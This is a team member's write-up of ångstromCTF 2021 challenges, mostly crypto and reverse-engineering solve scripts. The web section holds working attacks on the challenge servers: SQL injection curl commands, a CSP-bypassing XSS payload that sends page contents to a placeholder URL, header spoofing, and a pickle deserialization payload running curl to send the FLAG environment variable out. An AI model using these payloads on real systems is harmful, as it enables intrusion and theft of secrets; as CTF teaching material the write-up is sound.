ångstromCTF 2021 Writeup

Thu Apr 08 2021

I participated in ångstromCTF 2021 as a member of WreckTheLine. The result was 11th/1245 (within teams with positive points). In this competition, we tried tasks which we were NOT good at. So I could tackle web tasks for a long time! ...though I could solve a few. In this article I introduce writeups for some tasks I tackled. I'll explicitly mention if the task is eventually solved by teammates.

Crypto

Home Rolled Crypto

We were given hand-made block cipher and had to guess the encryption of given msg. Given block cipher is as follow:

class Cipher:
    BLOCK_SIZE = 16
    ROUNDS = 3

    def __init__(self, key):
        assert len(key) == self.BLOCK_SIZE * self.ROUNDS
        self.key = key

    def __block_encrypt(self, block):
        enc = int.from_bytes(block, "big")
        for i in range(self.ROUNDS):
            k = int.from_bytes(
                self.key[i * self.BLOCK_SIZE : (i + 1) * self.BLOCK_SIZE], "big"
            )
            enc &= k
            enc ^= k
        return hex(enc)[2:].rjust(self.BLOCK_SIZE * 2, "0")

    def __pad(self, msg):
        if len(msg) % self.BLOCK_SIZE != 0:
            return msg + (bytes([0]) * (self.BLOCK_SIZE - (len(msg) % self.BLOCK_SIZE)))
        else:
            return msg

    def encrypt(self, msg):
        m = self.__pad(msg)
        e = ""
        for i in range(0, len(m), self.BLOCK_SIZE):
            e += self.__block_encrypt(m[i : i + self.BLOCK_SIZE])
        return e.encode()

We can guess each encrypted bit from input one in the same place because this block cipher has no substitution.

from binascii import unhexlify

from pwn import *


r = remote("crypto.2021.chall.actf.co", 21602)

# enc_list_0 has encrypted bits when input is 0
r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1")
r.sendlineafter("What would you like to encrypt: ", "00" * Cipher.BLOCK_SIZE)
enc = unhexlify(r.recvline().strip())
enc_num = int.from_bytes(enc, "big")
enc_list_0 = []
for i in range(128):
    tmp = 1 << i
    enc_list_0.append(enc_num & tmp)

# enc_list_1 has encrypted bits when input is 1
enc_list_1 = []
for i in range(128):
    tmp = 1 << i
    tmp_bytes = tmp.to_bytes(16, "big")
    r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1")
    r.sendlineafter("What would you like to encrypt: ", tmp_bytes.hex())
    enc = unhexlify(r.recvline().strip())
    enc_list_1.append(int.from_bytes(enc, "big") & tmp)

# Let's encrypt
context.log_level = "DEBUG"
r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "2")
for _ in range(10):
    _ = r.recvuntil("Encrypt this: ")
    msg_all = unhexlify(r.recvline().strip())
    ans_all = ""
    for i in range(0, 32, 16):
        msg = msg_all[i: i+16]
        msg_num = int.from_bytes(msg, "big")
        ans = 0
        for i in range(128):
            if msg_num & (1 << i):
                ans += enc_list_1[i]
            else:
                ans += enc_list_0[i]
        ans_all += ans.to_bytes(16, "big").hex()
    r.sendline(ans_all)
print(r.recvall())

actf{no_bit_shuffling_is_trivial}

Circle of Trust

gen.py
import random
import secrets
import math
from decimal import Decimal, getcontext
from Crypto.Cipher import AES

BOUND = 2 ** 128
MULT = 10 ** 10

getcontext().prec = 50

def nums(a):
    b = Decimal(random.randint(-a * MULT, a * MULT)) / MULT
    c = (a ** 2 - b ** 2).sqrt()
    if random.randrange(2):
        c *= -1
    return (b, c)


with open("flag", "r") as f:
    flag = f.read().strip().encode("utf8")

diff = len(flag) % 16
if diff:
    flag += b"\x00" * (16 - diff)

keynum = secrets.randbits(128)
ivnum = secrets.randbits(128)

key = int.to_bytes(keynum, 16, "big")
iv = int.to_bytes(ivnum, 16, "big")

x = Decimal(random.randint(1, BOUND * MULT)) / MULT
for _ in range(3):
    (a, b) = nums(x)
    print(f"({keynum + a}, {ivnum + b})")

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
enc = cipher.encrypt(flag)
print(enc.hex())

We were given 3 (keynum + a, ivnum + b) pairs.

Looking at carefully, as the task name suggested, I found that these 3 pairs were on the circle, whose radius was x and center was (keynum, ivnum). So all I had to do was calculate elementary geometry, with decimal dealt carefully.

solve.py
# sage
from binascii import unhexlify

from Crypto.Cipher import AES


BOUND = 2 ** 128
MULT = 10 ** 10

enc = unhexlify(
    "838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76"
)

# sagemath
k_a_list = list(
    [
        457020213401268758000507112920047694562582161398,
        552217331686024097808941630740787084233591522790,
        147829667933855179054593001600696671775906950984,
    ],
)
i_b_list = list(
    [
        3102063444240427633682053892994161421570035757114,
        3478849656138089624748664484183476717397027057536,
        3402400039416515433450745405594262911016949048470,
    ]
)


a0 = -(k_a_list[1] - k_a_list[0]) / (i_b_list[1] - i_b_list[0])
x0 = (k_a_list[0] + k_a_list[1]) / 2
y0 = (i_b_list[0] + i_b_list[1]) / 2
a1 = -(k_a_list[2] - k_a_list[0]) / (i_b_list[2] - i_b_list[0])
x1 = (k_a_list[0] + k_a_list[2]) / 2
y1 = (i_b_list[0] + i_b_list[2]) / 2
keynum = (a0 * x0 - y0 - a1 * x1 + y1) / (a0 - a1)
ivnum = a0 * (keynum - x0) + y0
key = int.to_bytes(int(round(keynum/MULT)), 16, "big")
iv = int.to_bytes(int(round(ivnum/MULT)), 16, "big")

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = cipher.decrypt(enc)
print(flag)

actf{elliptical_curve_minus_the_curve}

Substitution

chall.py
#!/usr/bin/python

from functools import reduce

with open("flag", "r") as f:
    key = [ord(x) for x in f.read().strip()]


def substitute(value):
    return (reduce(lambda x, y: x * value + y, key)) % 691


print(
    "Enter a number and it will be returned with our super secret synthetic substitution technique"
)
while True:
    try:
        value = input("> ")
        if value == "quit":
            quit()
        value = int(value)
        enc = substitute(value)
        print(">> ", end="")
        print(enc)
    except ValueError:
        print("Invalid input. ")

Let flag strings be fi(0i<n)f_i (0\le i < n) and input be xx. substitution(x) returns:

i=0n1fixni1mod691\sum_{i=0}^{n-1} f_i x^{n-i-1} \mod 691

So I collected the output when x=0690x=0 \dots 690:

collect.py
from pwn import *

r = remote("crypto.2021.chall.actf.co", 21601)
enc_list = []
for i in range(691):
    r.sendlineafter("> ", str(i))
    _ = r.recvuntil(">> ")
    enc = int(r.recvline().strip())
    enc_list.append(enc)
print(enc_list)

and then solved simultaneous linear equations. Since the length of flag (=n=n) were unknown, I brute-forced it.

solve.py
# sage
enc_list = [125, 492, 670, 39, 244, 257, 104, 615, 129, 520, 428, 599, 404, 468, 465, 523, 345, 44, 425, 515, 116, 120, 515, 283, 651, 199, 69, 388, 319, 410, 133, 267, 215, 352, 521, 270, 629, 564, 662, 640, 352, 351, 481, 103, 161, 106, 306, 360, 587, 318, 450, 314, 164, 185, 519, 85, 472, 343, 41, 652, 320, 581, 400, 259, 119, 525, 374, 434, 162, 661, 145, 360, 209, 302, 426, 285, 358, 610, 572, 366, 434, 627, 206, 427, 166, 527, 590, 189, 462, 148, 428, 140, 306, 163, 265, 249, 522, 66, 136, 332, 327, 51, 337, 173, 100, 23, 445, 523, 252, 655, 105, 391, 322, 127, 196, 476, 116, 58, 404, 218, 492, 60, 194, 479, 175, 390, 12, 66, 270, 227, 41, 189, 428, 3, 68, 356, 228, 101, 285, 93, 620, 94, 490, 411, 422, 161, 152, 258, 26, 588, 406, 382, 32, 140, 484, 114, 180, 483, 38, 397, 155, 206, 141, 599, 584, 589, 460, 68, 520, 617, 247, 243, 331, 339, 239, 323, 533, 159, 28, 491, 663, 115, 441, 451, 617, 267, 188, 222, 472, 483, 500, 576, 117, 517, 228, 545, 329, 14, 18, 411, 478, 247, 349, 322, 298, 287, 601, 520, 59, 177, 98, 150, 286, 587, 402, 494, 318, 269, 189, 527, 207, 154, 291, 538, 192, 161, 317, 485, 466, 119, 117, 123, 20, 120, 276, 24, 435, 672, 573, 676, 58, 596, 648, 126, 428, 183, 524, 133, 232, 281, 190, 169, 655, 314, 29, 378, 635, 286, 31, 111, 68, 105, 648, 467, 95, 496, 276, 468, 474, 607, 398, 295, 205, 221, 267, 310, 438, 382, 54, 384, 79, 423, 270, 271, 465, 33, 558, 483, 668, 646, 202, 438, 262, 580, 263, 78, 331, 560, 54, 138, 355, 154, 282, 653, 609, 249, 637, 563, 576, 676, 605, 499, 392, 542, 569, 543, 87, 207, 463, 297, 537, 65, 542, 335, 601, 116, 108, 2, 415, 67, 84, 263, 238, 310, 412, 562, 250, 640, 495, 507, 262, 389, 242, 470, 27, 540, 489, 79, 173, 77, 306, 522, 378, 674, 197, 116, 115, 642, 610, 474, 566, 621, 513, 82, 257, 279, 257, 69, 403, 688, 624, 169, 350, 140, 241, 74, 662, 477, 191, 308, 205, 249, 659, 530, 180, 542, 625, 614, 85, 522, 145, 192, 226, 272, 277, 416, 442, 625, 97, 168, 196, 662, 687, 364, 281, 685, 446, 619, 195, 644, 314, 197, 66, 547, 580, 621, 18, 519, 671, 22, 186, 2, 251, 347, 385, 84, 610, 394, 677, 43, 304, 597, 535, 509, 523, 618, 501, 637, 79, 521, 264, 554, 248, 38, 316, 271, 607, 613, 405, 473, 682, 462, 448, 153, 230, 227, 125, 58, 182, 453, 39, 412, 497, 165, 125, 614, 120, 592, 627, 224, 555, 391, 118, 580, 461, 381, 45, 325, 74, 507, 222, 253, 635, 458, 580, 202, 29, 320, 132, 515, 65, 49, 552, 492, 344, 367, 223, 189, 193, 517, 675, 123, 371, 122, 681, 59, 244, 203, 613, 586, 169, 111, 650, 420, 488, 309, 508, 300, 350, 413, 434, 430, 180, 588, 237, 300, 264, 299, 645, 595, 367, 450, 14, 1, 616, 350, 671, 528, 342, 173, 336, 318, 358, 476, 662, 36, 126, 400, 107, 207, 636, 275, 646, 93, 256, 484, 293, 58, 685, 232, 310, 345, 482, 100, 663, 41, 371, 122, 517, 570, 63, 583, 546, 283, 313, 270, 428, 398, 341, 690, 657, 183, 143, 129, 375, 398, 348, 6, 85, 267, 585, 354, 253, 278, 78, 133, 633, 513, 652, 299, 418, 634, 199, 610, 155, 405, 155, 190, 244, 356, 54, 187, 146, 505, 78, 454, 47, 616, 570, 208, 94, 208, 123, 451, 321, 74, 64, 395, 567, 215, 620, 420, 1, 620, 117, 488, 184, 644, 510, 426, 173, 12, 154, 292, 383, 590, 401, 472, 325, 236, 203, 681, 513, 513, 329, 553, 371, 470, 612, 30, 181, 572, 620, 429, 655, 366, 504, 251, 485, 612, 377, 471, 336, 142, 589, 572, 676, 373, 632, 528, 495, 265, 204, 13, 617, 482, 45, 560, 130, 487, 18, 125]

for n in range(5, 100):
    A = matrix(Zmod(691), n, n)
    for i in range(n):
        for j in range(n):
            A[i, j] = pow(i, n-j-1, 691)
    b = enc_list[:n]
    f = A.solve_right(b)
    tmp_prefix = "".join(map(chr, f[:5]))
    if "actf{" in tmp_prefix:
        print("".join(map(chr, f)))
        break

actf{polynomials_20a829322766642530cf69}

Oracle of Blair

server.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os

key = os.urandom(32)
flag = open("flag", "rb").read()

while 1:
    try:
        i = bytes.fromhex(input("give input: "))
        if not i:
            break
    except:
        break
    iv = os.urandom(16)
    inp = i.replace(b"{}", flag)
    if len(inp) % 16:
        inp = pad(inp, 16)
    print(inp)
    print(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(inp).hex())

We can input any bytes, with {} replaced to flag, and decrypt it by AES with CBC mode. When we input "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + {}), it's replaced with "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + "a") + "ctf{...}" This is decrypted to Dec("\x00" * 16) + [Dec("\x00" * 15 + "?") xor "\x00" * 16] + [Dec("\x00" * 15 + "a") xor ("\x00 * 15 + "?")] + ... (Dec is the decryption of AES) So comparing between 2nd and 3rd block, we can find what "?" should be. For example, only when "?" is "a", 2nd block equals to 3rd block xored by "\x00" * 15 + "a"

We can find all characters by shifting them iteratively.

solve.py
from binascii import hexlify, unhexlify

from pwn import *

r = remote("crypto.2021.chall.actf.co", 21112)

FLAG_LEN = 25
flag = b""

for idx in range(16):
    for i in range(32, 128):
        tmp = b"\x00" * (15 - idx) + flag + i.to_bytes(1, "big")
        r.sendlineafter(
            "give input: ",
            "00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d",
        )
        ret = unhexlify(r.recvline().strip())
        if xor(ret[32:48], tmp) == ret[16:32]:
            print("found!")
            flag += i.to_bytes(1, "big")
            print(flag)
            break

for idx in range(9):
    for i in reversed(range(32, 128)):
        tmp = flag[1 + idx : 16 + idx] + i.to_bytes(1, "big")
        tmp2 = b"\x00" * (15 - idx) + flag[: idx + 1]
        r.sendlineafter(
            "give input: ",
            "00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d",
        )
        ret = unhexlify(r.recvline().strip())
        if xor(ret[48:64], tmp2) == ret[16:32]:
            print("found!")
            flag += i.to_bytes(1, "big")
            print(flag)
            break

actf{cbc_more_like_ecb_c}

Thunderbolt

We were given binary, which read flag and encrypt user inputs.

I noticed that the output was randomly generated and the length of it was the same as of flag. Since this is not rev but crypto task, I guessed there was a bias vulnerability. I checked this by the following scripts:

check.py
import subprocess
from collections import Counter

test_flag = "ABCD"
with open("flag", "w") as f:
    f.write(test_flag)
N = len(test_flag)

cmd = "./chall"

enc_cnt_list = [Counter() for _ in range(N)]
for _ in range(1000):
    p = subprocess.run(cmd.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    for j in range(N):
        enc = p.stdout[-1 - 2 * N + 2 * j : -1 - 2 * N + 2 * (j + 1)].decode()
        enc_cnt_list[j][enc] += 1

for i, enc_cnt in enumerate(enc_cnt_list):
    print(i)
    for k, v in enc_cnt.most_common(2):
        print(k, v)
    print("=" * 80)
0
41 36
6d 10
================================================================================
1
42 26
75 10
================================================================================
2
43 23
ca 11
================================================================================
3
44 23
d7 11
================================================================================

As I guessed, the most popular character equals to the flag. I wrote a script to collect encryption. It was needed to call remote so many times that I multiprocessed it (sorry for server load...)

solve.py
from collections import Counter
from concurrent import futures

from pwn import *

N = 55
enc_cnt_list = [Counter() for _ in range(N)]


def get_enc(enc_cnt_list):
    r = remote("crypto.2021.chall.actf.co", 21603)
    r.sendlineafter("Enter a string to encrypt: ", "")
    enc = r.recvline().strip()
    for j in range(N):
        tmp = enc[2 * j : 2 * (j + 1)].decode()
        enc_cnt_list[j][tmp] += 1


with futures.ThreadPoolExecutor(max_workers=32) as executor:
    for _ in range(3200):
        executor.submit(get_enc, enc_cnt_list=enc_cnt_list)
flag = b""
for enc_cnt in enc_cnt_list:
    flag += bytes.fromhex(enc_cnt.most_common(1)[0][0])
print(flag)

actf{watch_the_edge_cases_31b2eb7440e6992c33f3e5bbd184}

Web

Sea of Quills

This is SQLi task.

(snip)
post '/quills' do
	db = SQLite3::Database.new "quills.db"
	cols = params[:cols]
	lim = params[:limit]
	off = params[:offset]
	
	blacklist = ["-", "/", ";", "'", "\""]
	
	blacklist.each { |word|
		if cols.include? word
			return "beep boop sqli detected!"
		end
	}

	
	if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
		return "bad, no quills for you!"
	end

	@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

	p @row

	erb :specific
end

We can use UNION SELECT easily.

$ curl -X POST -d 'cols=name, sql from sqlite_master UNION SELECT name, desc&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills
(snip)
					<img src="flagtable" class="w3 h3">
				<li class="pb5 pl3">CREATE TABLE flagtable (
		flag varchar(30)
	) <ul><li></li></ul></li><br />
(snip)
$ curl -X POST -d 'cols=flag FROM flagtable UNION SELECT name&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills
(snip)
					<img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3">
				<li class="pb5 pl3"> <ul><li></li></ul></li><br />
(snip)

actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

nomnomnom

This is an XSS task.

index.js
(snip)
app.get('/shares/:shareName', function(req, res) {
	// TODO: better page maybe...? would attract those sweet sweet vcbucks
	if (!(req.params.shareName in shares)) {
		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
	}

	const share = shares[req.params.shareName];
	const score = share.score;
	const name = share.name;
	const nonce = crypto.randomBytes(16).toString('hex');
	let extra = '';

	if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
		extra = `deletion token: <code>${process.env.FLAG}</code>`
	}

	return res.send(`
<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
		<title>snek nomnomnom</title>
	</head>
	<body>
		${extra}${extra ? '<br /><br />' : ''}
		<h2>snek goes <em>nomnomnom</em></h2><br />
		Check out this score of ${score}! <br />
		<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
		<br />
		This score was set by ${name}
		<script nonce='${nonce}'>
function report() {
	fetch('/report/${req.params.shareName}', {
		method: 'POST'
	});
}

document.getElementById('reporter').onclick = () => { report() };
		</script> 
		
	</body>
</html>`);
});

app.post('/report/:shareName', async function(req, res) {
	if (!(req.params.shareName in shares)) {
		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
	}

	await visiter.visit(
		nothisisntthechallenge,
		`http://localhost:9999/shares/${req.params.shareName}`
	);
})
(snip)
visiter.js
const puppeteer = require('puppeteer')
const fs = require('fs')

async function visit(secret, url) {
	const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
	var page = await browser.newPage()
	await page.setCookie({
		name: 'no_this_is_not_the_challenge_go_away',
		value: secret,
		domain: 'localhost',
		samesite: 'strict'
	})
	await page.goto(url)

	// idk, race conditions!!! :D
	await new Promise(resolve => setTimeout(resolve, 500));
	await page.close()
	await browser.close()
}

The flag can be shown when cookie no_this_is_not_the_challenge_go_away is set correctly. This correct cookie is set in visiter.visit. The CSP is applied for XSS.

Looking at visiter.js, I found that browser was set to firefox explicitly. I googled and found this site (Japanese).

<html>
  <body>
    <script src="data:text/javascript,alert('XSS')"
    <script nonce="random123">doGoodStuff()</script>
  </body>
</html>

(cited from above site)

Even when we don't know nonce, <script without close > can steal the following script's nonce. This is fixed by chrome, but not by firefox.

So I wrote and ran this script:

solve.py
import requests

url = "https://nomnomnom.2021.chall.actf.co"
payload_name = "<script src=\"data:text/javascript,fetch('/shares/hint', {method: 'GET', credentials: 'include'}).then(r => r.text()).then(text => location='MY_URL?q='+escape(text))\""
payload_score = 2

r = requests.post(f"{url}/record", json={"name": payload_name, "score": payload_score})
print(r.text)

After that curl -X POST https://nomnomnom.2021.chall.actf.co/report/SHARE_NAME. I can get a flag as a query.

actf{w0ah_the_t4g_n0mm3d_th1ng5}

Spoofy

app.py
from flask import Flask, Response, request
import os
from typing import List

FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}"
with open(__file__, "r") as f:
    SOURCE: str = f.read()

app: Flask = Flask(__name__)


def text_response(body: str, status: int = 200, **kwargs) -> Response:
    return Response(body, mimetype="text/plain", status=status, **kwargs)


@app.route("/source")
def send_source() -> Response:
    return text_response(SOURCE)


@app.route("/")
def main_page() -> Response:
    if "X-Forwarded-For" in request.headers:
        # https://stackoverflow.com/q/18264304/
        # Some people say first ip in list, some people say last
        # I don't know who to believe
        # So just believe both
        ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
        if not ips:
            return text_response("How is it even possible to have 0 IPs???", 400)
        if ips[0] != ips[-1]:
            return text_response(
                "First and last IPs disagree so I'm just going to not serve this request.",
                400,
            )
        ip: str = ips[0]
        if ip != "1.3.3.7":
            return text_response("I don't trust you >:(", 401)
        return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
    else:
        return text_response("Please run the server through a proxy.", 400)

I wrote and deployed to Heroku the following script in order to do some experiments:

print_headers.py
from flask import Flask, request
import json

app = Flask(__name__)


@app.route("/")
def root():
    return json.dumps(dict(request.headers))


if __name__ == "__main__":
    app.run()

I didn't know why but I found adding X-Forwarded-For twice could work. curl -H 'X-Forwarded-For:1.3.3.7' -H 'X-Forwarded-For:, 1.3.3.7' https://actf-spoofy.herokuapp.com/

actf{spoofing_is_quite_spiffy}

Jar

jar.py
(snip)
flag = os.environ.get("FLAG", "actf{FAKE_FLAG}")
(snip)
@app.route("/")
def jar():
    contents = request.cookies.get("contents")
    if contents:
        items = pickle.loads(base64.b64decode(contents))
    else:
        items = []
    return (
        '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">'
        + "".join(
            f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>'
            for item in items
        )
    )
(snip)

It uses pickle to load contents. flag is read from env variables. I referred to this site to make a payload for pickle and wrote the following script.

solve.py
import base64
import requests

code = b"""cos
system
(S'curl MY_URL -d $(echo $FLAG)'
tR.)"""
payload = base64.b64encode(code).decode()

url = "https://jar.2021.chall.actf.co/"
requests.get(url, cookies={"contents": payload})

actf{you_got_yourself_out_of_a_pickle}

Sea of Quills 2

(This task was solved by teammates)

This is almost the same task as Sea of Quills. The differences are following:

3a4
> set :server, :puma
5a7
> set :environment, :production
27c29
< 	blacklist = ["-", "/", ";", "'", "\""]
---
> 	blacklist = ["-", "/", ";", "'", "\"", "flag"]
36c38
< 	if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
---
> 	if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)

The word flag is added to blacklist and the length of cols becomes restricted.

We can skip the following sentences by \0

$ curl -X POST -d 'cols=sql FROM sqlite_master %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills
(snip)
				<li class="pb5 pl3"> <ul><li></li></ul></li><br />
				
					<img src="CREATE TABLE flagtable (
		flag varchar(30)
	)" class="w3 h3">
(snip)

This is the same table name as the previous task. Since sqlite is insensitive to upper of lower case we can avoid blacklist using uppercase flag.

$ curl -X POST -d 'cols=* FROM FLAGTABLE %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills
(snip)
					<img src="actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}" class="w3 h3">
(snip)

actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}

Rev

lambda lambda

We were given a script written by lambda function.

I did some experiments and found the following:

  • Each character in each place is mapped to a certain value
  • Each mapped value are summed like 256-ary number

So I determined the flag character by character.

solve.py
import subprocess

cmd = "python chall.py"

c = 2692665569775536810618960607010822800159298089096272924
c_list = []
while c:
    c_list.append(c % 256)
    c //= 256
c_list = c_list[::-1]
print(c_list)
ans = b"actf{"

out = c_list[0]
for i in range(len(ans)):
    out = 256 * out + c_list[i+1]
ans_int = int.from_bytes(ans, "big")
for idx in range(len(ans), len(c_list)):
    for i in reversed(range(32, 128)):
        tmp_ans = ans + i.to_bytes(1, "big")
        with open("./flag.txt", "wb") as f:
            f.write(tmp_ans)

        p = subprocess.run(cmd.split(), stdout=subprocess.PIPE)
        tmp_out = int(p.stdout)
        if tmp_out % 256 == out % 256:
            print("found!")
            ans += chr(i).encode()
            print(ans)
            out = 256 * out + c_list[idx + 1]
            break
    else:
        print("not found...")
        ans += b"?"
        print(ans)
        out = 256 * out + c_list[idx + 1]

I don't know why but the output was actf{3p1c_0n?_l1n3r_95}, 12th character was not found. I guessed it.

actf{3p1c_0n3_l1n3r_95}

RousTel

We were given CPU architecture, program for encryption and encrypted flag.

I downloaded logisim-generic-2.7.1.jar and opened roustel.circ and enc.ram. After that I did some experiments by modifying the memory and running the program. I found that the memory was updated like the following in each cycle:

M[32] = 0  # for padding
M[33] = 0  # for padding
for i in range(32):
    M[i] = (M[i] ^ M[i+1]) + M[i+2]

I wrote decoding script.

solve.py
enc = [0x62, 0xD6, 0x9D, 0x28, 0x8F, 0xEF, 0x6B, 0x0E, 0x5A, 0xE1, 0x68, 0x7B, 0xA2, 0x83, 0x5E, 0xFC, 0xCC, 0x03, 0x9A, 0x4B, 0x94, 0x39, 0x05, 0x4A, 0x27, 0x85, 0x95, 0x20, 0xB1, 0xA8, 0x1E, 0x7D,
       0x00,  # for padding
       0x00,  # for padding
]

ans = [0] * 32

for _ in range(1000):
    for i in reversed(range(32)):
        enc[i] = ((enc[i] - enc[i + 2]) % 256) ^ enc[i + 1]
    if b"actf{" in (tmp := bytes(enc[:32])):
        print(tmp)
        break

actf{roustel_inside82f6270f973c}